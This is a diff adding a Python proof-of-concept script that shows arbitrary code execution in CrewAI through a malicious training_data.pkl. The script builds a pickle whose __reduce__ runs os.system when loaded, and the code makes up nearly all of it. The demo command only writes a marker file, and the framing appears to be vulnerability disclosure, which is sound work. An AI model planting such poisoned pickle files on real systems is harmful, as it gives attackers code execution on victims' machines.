Add PoC exploit script

poc_pickle.py

@@ -0,0 +1,62 @@
+"""
+PoC: Arbitrary Code Execution via pickle.load in CrewAI Training Data Handler
+
+CrewAI's PickleHandler.load() calls pickle.load() on training data files
+(training_data.pkl, trained_agents_data.pkl) without any safety checks.
+
+Usage:
+    python poc_pickle.py
+
+This creates a malicious training_data.pkl and demonstrates code execution
+when CrewAI loads it during agent training.
+"""
+
+import pickle
+import os
+import sys
+import tempfile
+
+class MaliciousPayload:
+    """Pickle payload that executes arbitrary code on deserialization."""
+    def __reduce__(self):
+        return (os.system, ("echo CREWAI_PICKLE_RCE_POC_EXECUTED > /tmp/crewai_pwned.txt",))
+
+def create_malicious_training_data(output_path):
+    """Create a malicious training_data.pkl file."""
+    # Structure mimics real CrewAI training data format
+    malicious_data = {
+        "1": {
+            "agent": "researcher",
+            "task": MaliciousPayload(),  # Payload embedded in task data
+            "human_feedback": "good",
+        }
+    }
+    with open(output_path, "wb") as f:
+        pickle.dump(malicious_data, f)
+    print(f"[+] Malicious training_data.pkl created: {output_path}")
+    print(f"    Size: {os.path.getsize(output_path)} bytes")
+
+def demonstrate_rce(pkl_path):
+    """Load the malicious pickle file as CrewAI would."""
+    print(f"[*] Loading malicious pickle via pickle.load()...")
+    print(f"[*] This replicates crewai/utilities/file_handler.py PickleHandler.load()")
+    try:
+        with open(pkl_path, "rb") as f:
+            data = pickle.load(f)
+        print(f"[!] Code execution triggered during pickle.load()")
+    except Exception as e:
+        print(f"[*] Exception: {e}")
+
+    marker = "/tmp/crewai_pwned.txt"
+    if os.path.exists(marker):
+        with open(marker) as f:
+            print(f"[+] RCE CONFIRMED: {f.read().strip()}")
+        os.remove(marker)
+    else:
+        print("[*] Check for marker file to confirm execution")
+
+if __name__ == "__main__":
+    with tempfile.TemporaryDirectory() as tmpdir:
+        pkl_path = os.path.join(tmpdir, "training_data.pkl")
+        create_malicious_training_data(pkl_path)
+        demonstrate_rce(pkl_path)